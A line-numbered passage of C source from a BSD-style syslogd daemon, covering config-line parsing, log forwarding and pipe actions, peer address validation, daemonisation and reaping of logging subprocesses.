  919.             /* Don't tell while we are initting. */
  920.             continue;
  921.  
  922.         /* First, look if it's a process from the dead queue. */
  923.         for (q = TAILQ_FIRST(&deadq_head); q != NULL; q = TAILQ_NEXT(q, dq_entries))
  924.             if (q->dq_pid == pid) {
  925.                 TAILQ_REMOVE(&deadq_head, q, dq_entries);
  926.                 free(q);
  927.                 goto oncemore;
  928.             }
  929.  
  930.         /* Now, look in list of active processes. */
  931.         for (f = Files; f; f = f->f_next)
  932.             if (f->f_type == F_PIPE &&
  933.                 f->f_un.f_pipe.f_pid == pid) {
  934.                 (void)close(f->f_file);
  935.  
  936.                 errno = 0; /* Keep strerror() stuff out of logerror messages. */
  937.                 f->f_un.f_pipe.f_pid = 0;
  938.                 if (WIFSIGNALED(status)) {
  939.                     reason = "due to signal";
  940.                     code = WTERMSIG(status);
  941.                 } else {
  942.                     reason = "with status";
  943.                     code = WEXITSTATUS(status);
  944.                     if (code == 0)
  945.                         goto oncemore; /* Exited OK. */
  946.                 }
  947.                 (void)snprintf(buf, sizeof buf,
  948.                 "Logging subprocess %d (%s) exited %s %d.",
  949.                            pid, f->f_un.f_pipe.f_pname,
  950.                            reason, code);
  951.                 logerror(buf);
  952.                 break;
  953.             }
  954.       oncemore:
  955.     }
  956. }
  957.  
  958. /*
  959.  * Return a printable representation of a host address.
  960.  */
  961. char *
  962. cvthname(f)
  963.     struct sockaddr_in *f;
  964. {
  965.     struct hostent *hp;
  966.     char *p;
  967.  
  968.     dprintf("cvthname(%s)\n", inet_ntoa(f->sin_addr));
  969.  
  970.     if (f->sin_family != AF_INET) {
  971.         dprintf("Malformed from address\n");
  972.         return ("???");
  973.     }
  974.     hp = gethostbyaddr((char *)&f->sin_addr,
  975.         sizeof(struct in_addr), f->sin_family);
  976.     if (hp == 0) {
  977.         dprintf("Host name for your address (%s) unknown\n",
  978.             inet_ntoa(f->sin_addr));
  979.         return (inet_ntoa(f->sin_addr));
  980.     }
  981.     if ((p = strchr(hp->h_name, '.')) && strcmp(p + 1, LocalDomain) == 0)
  982.         *p = '\0';
  983.     return (hp->h_name);
  984. }
  985.  
  986. void
  987. domark(signo)
  988.     int signo;
  989. {
  990.     struct filed *f;
  991.     dq_t q;
  992.  
  993.     now = time((time_t *)NULL);
  994.     MarkSeq += TIMERINTVL;
  995.     if (MarkSeq >= MarkInterval) {
  996.         logmsg(LOG_INFO, "-- MARK --", LocalHostName, ADDDATE|MARK);
  997.         MarkSeq = 0;
  998.     }
  999.  
  1000.     for (f = Files; f; f = f->f_next) {
  1001.         if (f->f_prevcount && now >= REPEATTIME(f)) {
  1002.             dprintf("flush %s: repeated %d times, %d sec.\n",
  1003.                 TypeNames[f->f_type], f->f_prevcount,
  1004.                 repeatinterval[f->f_repeatcount]);
  1005.             fprintlog(f, 0, (char *)NULL);
  1006.             BACKOFF(f);
  1007.         }
  1008.     }
  1009.  
  1010.     /* Walk the dead queue, and see if we should signal somebody. */
  1011.     for (q = TAILQ_FIRST(&deadq_head); q != NULL; q = TAILQ_NEXT(q, dq_entries))
  1012.         switch (q->dq_timeout) {
  1013.         case 0:
  1014.             /* Already signalled once, try harder now. */
  1015.             kill(q->dq_pid, SIGKILL);
  1016.             break;
  1017.  
  1018.         case 1:
  1019.             /*
  1020.              * Timed out on dead queue, send terminate
  1021.              * signal.  Note that we leave the removal
  1022.              * from the dead queue to reapchild(), which
  1023.              * will also log the event.
  1024.              */
  1025.             kill(q->dq_pid, SIGTERM);
  1026.             /* FALLTROUGH */
  1027.  
  1028.         default:
  1029.             q->dq_timeout--;
  1030.         }
  1031.  
  1032.     (void)alarm(TIMERINTVL);
  1033. }
  1034.  
  1035. /*
  1036.  * Print syslogd errors some place.
  1037.  */
  1038. void
  1039. logerror(type)
  1040.     const char *type;
  1041. {
  1042.     char buf[512];
  1043.  
  1044.     if (errno)
  1045.         (void)snprintf(buf,
  1046.             sizeof buf, "syslogd: %s: %s", type, strerror(errno));
  1047.     else
  1048.         (void)snprintf(buf, sizeof buf, "syslogd: %s", type);
  1049.     errno = 0;
  1050.     dprintf("%s\n", buf);
  1051.     logmsg(LOG_SYSLOG|LOG_ERR, buf, LocalHostName, ADDDATE);
  1052. }
  1053.  
  1054. void
  1055. die(signo)
  1056.     int signo;
  1057. {
  1058.     struct filed *f;
  1059.     int was_initialized;
  1060.     char buf[100];
  1061.  
  1062.     was_initialized = Initialized;
  1063.     Initialized = 0;    /* Don't log SIGCHLDs. */
  1064.     for (f = Files; f != NULL; f = f->f_next) {
  1065.         /* flush any pending output */
  1066.         if (f->f_prevcount)
  1067.             fprintlog(f, 0, (char *)NULL);
  1068.         if (f->f_type == F_PIPE)
  1069.             (void)close(f->f_file);
  1070.     }
  1071.     Initialized = was_initialized;
  1072.     if (signo) {
  1073.         dprintf("syslogd: exiting on signal %d\n", signo);
  1074.         (void)sprintf(buf, "exiting on signal %d", signo);
  1075.         errno = 0;
  1076.         logerror(buf);
  1077.     }
  1078.     if (created_lsock)
  1079.         (void)unlink(LogName);
  1080.     exit(1);
  1081. }
  1082.  
  1083. /*
  1084.  *  INIT -- Initialize syslogd from configuration table
  1085.  */
  1086. void
  1087. init(signo)
  1088.     int signo;
  1089. {
  1090.     int i;
  1091.     FILE *cf;
  1092.     struct filed *f, *next, **nextp;
  1093.     char *p;
  1094.     char cline[LINE_MAX];
  1095.      char prog[NAME_MAX+1];
  1096.  
  1097.     dprintf("init\n");
  1098.  
  1099.     /*
  1100.      *  Close all open log files.
  1101.      */
  1102.     Initialized = 0;
  1103.     for (f = Files; f != NULL; f = next) {
  1104.         /* flush any pending output */
  1105.         if (f->f_prevcount)
  1106.             fprintlog(f, 0, (char *)NULL);
  1107.  
  1108.         switch (f->f_type) {
  1109.         case F_FILE:
  1110.         case F_FORW:
  1111.         case F_CONSOLE:
  1112.         case F_TTY:
  1113.             (void)close(f->f_file);
  1114.             break;
  1115.         case F_PIPE:
  1116.             (void)close(f->f_file);
  1117.             if (f->f_un.f_pipe.f_pid > 0)
  1118.                 deadq_enter(f->f_un.f_pipe.f_pid);
  1119.             f->f_un.f_pipe.f_pid = 0;
  1120.             break;
  1121.         }
  1122.         next = f->f_next;
  1123.         if(f->f_program) free(f->f_program);
  1124.         free((char *)f);
  1125.     }
  1126.     Files = NULL;
  1127.     nextp = &Files;
  1128.  
  1129.     /* open the configuration file */
  1130.     if ((cf = fopen(ConfFile, "r")) == NULL) {
  1131.         dprintf("cannot open %s\n", ConfFile);
  1132.         *nextp = (struct filed *)calloc(1, sizeof(*f));
  1133.         cfline("*.ERR\t/dev/console", *nextp, "*");
  1134.         (*nextp)->f_next = (struct filed *)calloc(1, sizeof(*f));
  1135.         cfline("*.PANIC\t*", (*nextp)->f_next, "*");
  1136.         Initialized = 1;
  1137.         return;
  1138.     }
  1139.  
  1140.     /*
  1141.      *  Foreach line in the conf table, open that file.
  1142.      */
  1143.     f = NULL;
  1144.     strcpy(prog, "*");
  1145.     while (fgets(cline, sizeof(cline), cf) != NULL) {
  1146.         /*
  1147.          * check for end-of-section, comments, strip off trailing
  1148.          * spaces and newline character. #!prog is treated specially:
  1149.          * following lines apply only to that program.
  1150.          */
  1151.         for (p = cline; isspace(*p); ++p)
  1152.             continue;
  1153.         if (*p == 0)
  1154.             continue;
  1155.         if(*p == '#') {
  1156.             p++;
  1157.             if(*p!='!')
  1158.                 continue;
  1159.         }
  1160.         if(*p=='!') {
  1161.             p++;
  1162.             while(isspace(*p)) p++;
  1163.             if(!*p) {
  1164.                 strcpy(prog, "*");
  1165.                 continue;
  1166.             }
  1167.             for(i = 0; i < NAME_MAX; i++) {
  1168.                 if(!isalnum(p[i]))
  1169.                     break;
  1170.                 prog[i] = p[i];
  1171.             }
  1172.             prog[i] = 0;
  1173.             continue;
  1174.         }
  1175.         for (p = strchr(cline, '\0'); isspace(*--p);)
  1176.             continue;
  1177.         *++p = '\0';
  1178.         f = (struct filed *)calloc(1, sizeof(*f));
  1179.         *nextp = f;
  1180.         nextp = &f->f_next;
  1181.         cfline(cline, f, prog);
  1182.     }
  1183.  
  1184.     /* close the configuration file */
  1185.     (void)fclose(cf);
  1186.  
  1187.     Initialized = 1;
  1188.  
  1189.     if (Debug) {
  1190.         for (f = Files; f; f = f->f_next) {
  1191.             for (i = 0; i <= LOG_NFACILITIES; i++)
  1192.                 if (f->f_pmask[i] == INTERNAL_NOPRI)
  1193.                     printf("X ");
  1194.                 else
  1195.                     printf("%d ", f->f_pmask[i]);
  1196.             printf("%s: ", TypeNames[f->f_type]);
  1197.             switch (f->f_type) {
  1198.             case F_FILE:
  1199.                 printf("%s", f->f_un.f_fname);
  1200.                 break;
  1201.  
  1202.             case F_CONSOLE:
  1203.             case F_TTY:
  1204.                 printf("%s%s", _PATH_DEV, f->f_un.f_fname);
  1205.                 break;
  1206.  
  1207.             case F_FORW:
  1208.                 printf("%s", f->f_un.f_forw.f_hname);
  1209.                 break;
  1210.  
  1211.             case F_PIPE:
  1212.                 printf("%s", f->f_un.f_pipe.f_pname);
  1213.                 break;
  1214.  
  1215.             case F_USERS:
  1216.                 for (i = 0; i < MAXUNAMES && *f->f_un.f_uname[i]; i++)
  1217.                     printf("%s, ", f->f_un.f_uname[i]);
  1218.                 break;
  1219.             }
  1220.             if(f->f_program) {
  1221.                 printf(" (%s)", f->f_program);
  1222.             }
  1223.             printf("\n");
  1224.         }
  1225.     }
  1226.  
  1227.     logmsg(LOG_SYSLOG|LOG_INFO, "syslogd: restart", LocalHostName, ADDDATE);
  1228.     dprintf("syslogd: restarted\n");
  1229. }
  1230.  
  1231. /*
  1232.  * Crack a configuration file line
  1233.  */
  1234. void
  1235. cfline(line, f, prog)
  1236.     char *line;
  1237.     struct filed *f;
  1238.     char *prog;
  1239. {
  1240.     struct hostent *hp;
  1241.     int i, pri;
  1242.     char *bp, *p, *q;
  1243.     char buf[MAXLINE], ebuf[100];
  1244.  
  1245.     dprintf("cfline(\"%s\", f, \"%s\")\n", line, prog);
  1246.  
  1247.     errno = 0;    /* keep strerror() stuff out of logerror messages */
  1248.  
  1249.     /* clear out file entry */
  1250.     memset(f, 0, sizeof(*f));
  1251.     for (i = 0; i <= LOG_NFACILITIES; i++)
  1252.         f->f_pmask[i] = INTERNAL_NOPRI;
  1253.  
  1254.     /* save program name if any */
  1255.     if(prog && *prog=='*') prog = NULL;
  1256.     if(prog) {
  1257.         f->f_program = calloc(1, strlen(prog)+1);
  1258.         if(f->f_program) {
  1259.             strcpy(f->f_program, prog);
  1260.         }
  1261.     }
  1262.  
  1263.     /* scan through the list of selectors */
  1264.     for (p = line; *p && *p != '\t';) {
  1265.  
  1266.         /* find the end of this facility name list */
  1267.         for (q = p; *q && *q != '\t' && *q++ != '.'; )
  1268.             continue;
  1269.  
  1270.         /* collect priority name */
  1271.         for (bp = buf; *q && !strchr("\t,;", *q); )
  1272.             *bp++ = *q++;
  1273.         *bp = '\0';
  1274.  
  1275.         /* skip cruft */
  1276.         while (strchr(", ;", *q))
  1277.             q++;
  1278.  
  1279.         /* decode priority name */
  1280.         if (*buf == '*')
  1281.             pri = LOG_PRIMASK + 1;
  1282.         else {
  1283.             pri = decode(buf, prioritynames);
  1284.             if (pri < 0) {
  1285.                 (void)snprintf(ebuf, sizeof ebuf,
  1286.                     "unknown priority name \"%s\"", buf);
  1287.                 logerror(ebuf);
  1288.                 return;
  1289.             }
  1290.         }
  1291.  
  1292.         /* scan facilities */
  1293.         while (*p && !strchr("\t.;", *p)) {
  1294.             for (bp = buf; *p && !strchr("\t,;.", *p); )
  1295.                 *bp++ = *p++;
  1296.             *bp = '\0';
  1297.             if (*buf == '*')
  1298.                 for (i = 0; i < LOG_NFACILITIES; i++)
  1299.                     f->f_pmask[i] = pri;
  1300.             else {
  1301.                 i = decode(buf, facilitynames);
  1302.                 if (i < 0) {
  1303.                     (void)snprintf(ebuf, sizeof ebuf,
  1304.                         "unknown facility name \"%s\"",
  1305.                         buf);
  1306.                     logerror(ebuf);
  1307.                     return;
  1308.                 }
  1309.                 f->f_pmask[i >> 3] = pri;
  1310.             }
  1311.             while (*p == ',' || *p == ' ')
  1312.                 p++;
  1313.         }
  1314.  
  1315.         p = q;
  1316.     }
  1317.  
  1318.     /* skip to action part */
  1319.     while (*p == '\t')
  1320.         p++;
  1321.  
  1322.     switch (*p)
  1323.     {
  1324.     case '@':
  1325.         (void)strcpy(f->f_un.f_forw.f_hname, ++p);
  1326.         hp = gethostbyname(p);
  1327.         if (hp == NULL) {
  1328.             extern int h_errno;
  1329.  
  1330.             logerror(hstrerror(h_errno));
  1331.             break;
  1332.         }
  1333.         memset(&f->f_un.f_forw.f_addr, 0,
  1334.              sizeof(f->f_un.f_forw.f_addr));
  1335.         f->f_un.f_forw.f_addr.sin_family = AF_INET;
  1336.         f->f_un.f_forw.f_addr.sin_port = LogPort;
  1337.         memmove(&f->f_un.f_forw.f_addr.sin_addr, hp->h_addr, hp->h_length);
  1338.         f->f_type = F_FORW;
  1339.         break;
  1340.  
  1341.     case '/':
  1342.         if ((f->f_file = open(p, O_WRONLY|O_APPEND, 0)) < 0) {
  1343.             f->f_type = F_UNUSED;
  1344.             logerror(p);
  1345.             break;
  1346.         }
  1347.         if (isatty(f->f_file)) {
  1348.             if (strcmp(p, ctty) == 0)
  1349.                 f->f_type = F_CONSOLE;
  1350.             else
  1351.                 f->f_type = F_TTY;
  1352.             (void)strcpy(f->f_un.f_fname, p + sizeof _PATH_DEV - 1);
  1353.         } else {
  1354.             (void)strcpy(f->f_un.f_fname, p);
  1355.             f->f_type = F_FILE;
  1356.         }
  1357.         break;
  1358.  
  1359.     case '|':
  1360.         f->f_un.f_pipe.f_pid = 0;
  1361.         (void)strcpy(f->f_un.f_pipe.f_pname, p + 1);
  1362.         f->f_type = F_PIPE;
  1363.         break;
  1364.  
  1365.     case '*':
  1366.         f->f_type = F_WALL;
  1367.         break;
  1368.  
  1369.     default:
  1370.         for (i = 0; i < MAXUNAMES && *p; i++) {
  1371.             for (q = p; *q && *q != ','; )
  1372.                 q++;
  1373.             (void)strncpy(f->f_un.f_uname[i], p, UT_NAMESIZE);
  1374.             if ((q - p) > UT_NAMESIZE)
  1375.                 f->f_un.f_uname[i][UT_NAMESIZE] = '\0';
  1376.             else
  1377.                 f->f_un.f_uname[i][q - p] = '\0';
  1378.             while (*q == ',' || *q == ' ')
  1379.                 q++;
  1380.             p = q;
  1381.         }
  1382.         f->f_type = F_USERS;
  1383.         break;
  1384.     }
  1385. }
  1386.  
  1387.  
  1388. /*
  1389.  *  Decode a symbolic name to a numeric value
  1390.  */
  1391. int
  1392. decode(name, codetab)
  1393.     const char *name;
  1394.     CODE *codetab;
  1395. {
  1396.     CODE *c;
  1397.     char *p, buf[40];
  1398.  
  1399.     if (isdigit(*name))
  1400.         return (atoi(name));
  1401.  
  1402.     for (p = buf; *name && p < &buf[sizeof(buf) - 1]; p++, name++) {
  1403.         if (isupper(*name))
  1404.             *p = tolower(*name);
  1405.         else
  1406.             *p = *name;
  1407.     }
  1408.     *p = '\0';
  1409.     for (c = codetab; c->c_name; c++)
  1410.         if (!strcmp(buf, c->c_name))
  1411.             return (c->c_val);
  1412.  
  1413.     return (-1);
  1414. }
  1415.  
  1416. /*
  1417.  * fork off and become a daemon, but wait for the child to come online
  1418.  * before returing to the parent, or we get disk thrashing at boot etc.
  1419.  * Set a timer so we don't hang forever if it wedges.
  1420.  */
  1421. int
  1422. waitdaemon(nochdir, noclose, maxwait)
  1423.     int nochdir, noclose, maxwait;
  1424. {
  1425.     int fd;
  1426.     int status;
  1427.     pid_t pid, childpid;
  1428.  
  1429.     switch (childpid = fork()) {
  1430.     case -1:
  1431.         return (-1);
  1432.     case 0:
  1433.         break;
  1434.     default:
  1435.         signal(SIGALRM, timedout);
  1436.         alarm(maxwait);
  1437.         while ((pid = wait3(&status, 0, NULL)) != -1) {
  1438.             if (WIFEXITED(status))
  1439.                 errx(1, "child pid %d exited with return code %d",
  1440.                     pid, WEXITSTATUS(status));
  1441.             if (WIFSIGNALED(status))
  1442.                 errx(1, "child pid %d exited on signal %d%s",
  1443.                     pid, WTERMSIG(status),
  1444.                     WCOREDUMP(status) ? " (core dumped)" :
  1445.                     "");
  1446.             if (pid == childpid)    /* it's gone... */
  1447.                 break;
  1448.         }
  1449.         exit(0);
  1450.     }
  1451.  
  1452.     if (setsid() == -1)
  1453.         return (-1);
  1454.  
  1455.     if (!nochdir)
  1456.         (void)chdir("/");
  1457.  
  1458.     if (!noclose && (fd = open(_PATH_DEVNULL, O_RDWR, 0)) != -1) {
  1459.         (void)dup2(fd, STDIN_FILENO);
  1460.         (void)dup2(fd, STDOUT_FILENO);
  1461.         (void)dup2(fd, STDERR_FILENO);
  1462.         if (fd > 2)
  1463.             (void)close (fd);
  1464.     }
  1465.     return (getppid());
  1466. }
  1467.  
  1468. /*
  1469.  * We get a SIGALRM from the child when it's running and finished doing it's
  1470.  * fsync()'s or O_SYNC writes for all the boot messages.
  1471.  *
  1472.  * We also get a signal from the kernel if the timer expires, so check to
  1473.  * see what happened.
  1474.  */
  1475. void
  1476. timedout(sig)
  1477.     int sig __unused;
  1478. {
  1479.     int left;
  1480.     left = alarm(0);
  1481.     signal(SIGALRM, SIG_DFL);
  1482.     if (left == 0)
  1483.         errx(1, "timed out waiting for child");
  1484.     else
  1485.         exit(0);
  1486. }
  1487.  
  1488. /*
  1489.  * Add `s' to the list of allowable peer addresses to accept messages
  1490.  * from.
  1491.  *
  1492.  * `s' is a string in the form:
  1493.  *
  1494.  *    [*]domainname[:{servicename|portnumber|*}]
  1495.  *
  1496.  * or
  1497.  *
  1498.  *    netaddr/maskbits[:{servicename|portnumber|*}]
  1499.  *
  1500.  * Returns -1 on error, 0 if the argument was valid.
  1501.  */
  1502. int
  1503. allowaddr(s)
  1504.     char *s;
  1505. {
  1506.     char *cp1, *cp2;
  1507.     struct allowedpeer ap;
  1508.     struct servent *se;
  1509.     regex_t re;
  1510.     int i;
  1511.  
  1512.     if ((cp1 = strrchr(s, ':'))) {
  1513.         /* service/port provided */
  1514.         *cp1++ = '\0';
  1515.         if (strlen(cp1) == 1 && *cp1 == '*')
  1516.             /* any port allowed */
  1517.             ap.port = htons(0);
  1518.         else if ((se = getservbyname(cp1, "udp")))
  1519.             ap.port = se->s_port;
  1520.         else {
  1521.             ap.port = htons((int)strtol(cp1, &cp2, 0));
  1522.             if (*cp2 != '\0')
  1523.                 return -1; /* port not numeric */
  1524.         }
  1525.     } else {
  1526.         if ((se = getservbyname("syslog", "udp")))
  1527.             ap.port = se->s_port;
  1528.         else
  1529.             /* sanity, should not happen */
  1530.             ap.port = htons(514);
  1531.     }
  1532.  
  1533.     /* the regexp's are ugly, but the cleanest way */
  1534.  
  1535.     if (regcomp(&re, "^[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+(/[0-9]+)?$",
  1536.             REG_EXTENDED))
  1537.         /* if RE compilation fails, that's an internal error */
  1538.         abort();
  1539.     if (regexec(&re, s, 0, 0, 0) == 0) {
  1540.         /* arg `s' is numeric */
  1541.         ap.isnumeric = 1;
  1542.         if ((cp1 = strchr(s, '/')) != NULL) {
  1543.             *cp1++ = '\0';
  1544.             i = atoi(cp1);
  1545.             if (i < 0 || i > 32)
  1546.                 return -1;
  1547.             /* convert masklen to netmask */
  1548.             ap.a_mask.s_addr = htonl(~((1 << (32 - i)) - 1));
  1549.         }
  1550.         if (ascii2addr(AF_INET, s, &ap.a_addr) == -1)
  1551.             return -1;
  1552.         if (cp1 == NULL) {
  1553.             /* use default netmask */
  1554.             if (IN_CLASSA(ntohl(ap.a_addr.s_addr)))
  1555.                 ap.a_mask.s_addr = htonl(IN_CLASSA_NET);
  1556.             else if (IN_CLASSB(ntohl(ap.a_addr.s_addr)))
  1557.                 ap.a_mask.s_addr = htonl(IN_CLASSB_NET);
  1558.             else
  1559.                 ap.a_mask.s_addr = htonl(IN_CLASSC_NET);
  1560.         }
  1561.     } else {
  1562.         /* arg `s' is domain name */
  1563.         ap.isnumeric = 0;
  1564.         ap.a_name = s;
  1565.     }
  1566.     regfree(&re);
  1567.  
  1568.     if (Debug) {
  1569.         printf("allowaddr: rule %d: ", NumAllowed);
  1570.         if (ap.isnumeric) {
  1571.             printf("numeric, ");
  1572.             printf("addr = %s, ",
  1573.                    addr2ascii(AF_INET, &ap.a_addr, sizeof(struct in_addr), 0));
  1574.             printf("mask = %s; ",
  1575.                    addr2ascii(AF_INET, &ap.a_mask, sizeof(struct in_addr), 0));
  1576.         } else
  1577.             printf("domainname = %s; ", ap.a_name);
  1578.         printf("port = %d\n", ntohs(ap.port));
  1579.     }
  1580.  
  1581.     if ((AllowedPeers = realloc(AllowedPeers,
  1582.                     ++NumAllowed * sizeof(struct allowedpeer)))
  1583.         == NULL) {
  1584.         fprintf(stderr, "Out of memory!\n");
  1585.         exit(EX_OSERR);
  1586.     }
  1587.     memcpy(&AllowedPeers[NumAllowed - 1], &ap, sizeof(struct allowedpeer));
  1588.     return 0;
  1589. }
  1590.  
  1591. /*
  1592.  * Validate that the remote peer has permission to log to us.
  1593.  */
  1594. int
  1595. validate(sin, hname)
  1596.     struct sockaddr_in *sin;
  1597.     const char *hname;
  1598. {
  1599.     int i;
  1600.     size_t l1, l2;
  1601.     char *cp, name[MAXHOSTNAMELEN];
  1602.     struct allowedpeer *ap;
  1603.  
  1604.     if (NumAllowed == 0)
  1605.         /* traditional behaviour, allow everything */
  1606.         return 1;
  1607.  
  1608.     strncpy(name, hname, sizeof name);
  1609.     if (strchr(name, '.') == NULL) {
  1610.         strncat(name, ".", sizeof name - strlen(name) - 1);
  1611.         strncat(name, LocalDomain, sizeof name - strlen(name) - 1);
  1612.     }
  1613.     dprintf("validate: dgram from IP %s, port %d, name %s;\n",
  1614.         addr2ascii(AF_INET, &sin->sin_addr, sizeof(struct in_addr), 0),
  1615.         ntohs(sin->sin_port), name);
  1616.  
  1617.     /* now, walk down the list */
  1618.     for (i = 0, ap = AllowedPeers; i < NumAllowed; i++, ap++) {
  1619.         if (ntohs(ap->port) != 0 && ap->port != sin->sin_port) {
  1620.             dprintf("rejected in rule %d due to port mismatch.\n", i);
  1621.             continue;
  1622.         }
  1623.  
  1624.         if (ap->isnumeric) {
  1625.             if ((sin->sin_addr.s_addr & ap->a_mask.s_addr)
  1626.                 != ap->a_addr.s_addr) {
  1627.                 dprintf("rejected in rule %d due to IP mismatch.\n", i);
  1628.                 continue;
  1629.             }
  1630.         } else {
  1631.             cp = ap->a_name;
  1632.             l1 = strlen(name);
  1633.             if (*cp == '*') {
  1634.                 /* allow wildmatch */
  1635.                 cp++;
  1636.                 l2 = strlen(cp);
  1637.                 if (l2 > l1 || memcmp(cp, &name[l1 - l2], l2) != 0) {
  1638.                     dprintf("rejected in rule %d due to name mismatch.\n", i);
  1639.                     continue;
  1640.                 }
  1641.             } else {
  1642.                 /* exact match */
  1643.                 l2 = strlen(cp);
  1644.                 if (l2 != l1 || memcmp(cp, name, l1) != 0) {
  1645.                     dprintf("rejected in rule %d due to name mismatch.\n", i);
  1646.                     continue;
  1647.                 }
  1648.             }
  1649.         }
  1650.         dprintf("accepted in rule %d.\n", i);
  1651.         return 1;    /* hooray! */
  1652.     }
  1653.     return 0;
  1654. }
  1655.  
  1656. /*
  1657.  * Fairly similar to popen(3), but returns an open descriptor, as
  1658.  * opposed to a FILE *.
  1659.  */
  1660. int
  1661. p_open(prog, pid)
  1662.     char *prog;
  1663.     pid_t *pid;
  1664. {
  1665.     int pfd[2], nulldesc, i;
  1666.     sigset_t omask, mask;
  1667.     char *argv[4]; /* sh -c cmd NULL */
  1668.     char errmsg[200];
  1669.  
  1670.     if (pipe(pfd) == -1)
  1671.         return -1;
  1672.     if ((nulldesc = open(_PATH_DEVNULL, O_RDWR)) == -1)
  1673.         /* we are royally screwed anyway */
  1674.         return -1;
  1675.  
  1676.     mask = sigmask(SIGALRM) | sigmask(SIGHUP);
  1677.     sigprocmask(SIG_BLOCK, &omask, &mask);
  1678.     switch ((*pid = fork())) {
  1679.     case -1:
  1680.         sigprocmask(SIG_SETMASK, 0, &omask);
  1681.         close(nulldesc);
  1682.         return -1;
  1683.  
  1684.     case 0:
  1685.         argv[0] = "sh";
  1686.         argv[1] = "-c";
  1687.         argv[2] = prog;
  1688.         argv[3] = NULL;
  1689.  
  1690.         alarm(0);
  1691.         (void)setsid();    /* Avoid catching SIGHUPs. */
  1692.  
  1693.         /*
  1694.          * Throw away pending signals, and reset signal
  1695.          * behaviour to standard values.
  1696.          */
  1697.         signal(SIGALRM, SIG_IGN);
  1698.         signal(SIGHUP, SIG_IGN);
  1699.         sigprocmask(SIG_SETMASK, 0, &omask);
  1700.         signal(SIGPIPE, SIG_DFL);
  1701.         signal(SIGQUIT, SIG_DFL);
  1702.         signal(SIGALRM, SIG_DFL);
  1703.         signal(SIGHUP, SIG_DFL);
  1704.  
  1705.         dup2(pfd[0], STDIN_FILENO);
  1706.         dup2(nulldesc, STDOUT_FILENO);
  1707.         dup2(nulldesc, STDERR_FILENO);
  1708.         for (i = getdtablesize(); i > 2; i--)
  1709.             (void) close(i);
  1710.  
  1711.         (void) execvp(_PATH_BSHELL, argv);
  1712.         _exit(255);
  1713.     }
  1714.  
  1715.     sigprocmask(SIG_SETMASK, 0, &omask);
  1716.     close(nulldesc);
  1717.     close(pfd[0]);
  1718.     /*
  1719.      * Avoid blocking on a hung pipe.  With O_NONBLOCK, we are
  1720.      * supposed to get an EWOULDBLOCK on writev(2), which is
  1721.      * caught by the logic above anyway, which will in turn close
  1722.      * the pipe, and fork a new logging subprocess if necessary.
  1723.      * The stale subprocess will be killed some time later unless
  1724.      * it terminated itself due to closing its input pipe (so we
  1725.      * get rid of really dead puppies).
  1726.      */
  1727.     if (fcntl(pfd[1], F_SETFL, O_NONBLOCK) == -1) {
  1728.         /* This is bad. */
  1729.         (void)snprintf(errmsg, sizeof errmsg,
  1730.                    "Warning: cannot change pipe to PID %d to "
  1731.                    "non-blocking behaviour.",
  1732.                    (int)*pid);
  1733.         logerror(errmsg);
  1734.     }
  1735.     return pfd[1];
  1736. }
  1737.  
  1738. void
  1739. deadq_enter(pid)
  1740.     pid_t pid;
  1741. {
  1742.     dq_t p;
  1743.  
  1744.     p = malloc(sizeof(struct deadq_entry));
  1745.     if (p == 0) {
  1746.         errno = 0;
  1747.         logerror("panic: out of virtual memory!");
  1748.         exit(1);
  1749.     }
  1750.  
  1751.     p->dq_pid = pid;
  1752.     p->dq_timeout = DQ_TIMO_INIT;
  1753.     TAILQ_INSERT_TAIL(&deadq_head, p, dq_entries);
  1754. }
  1755.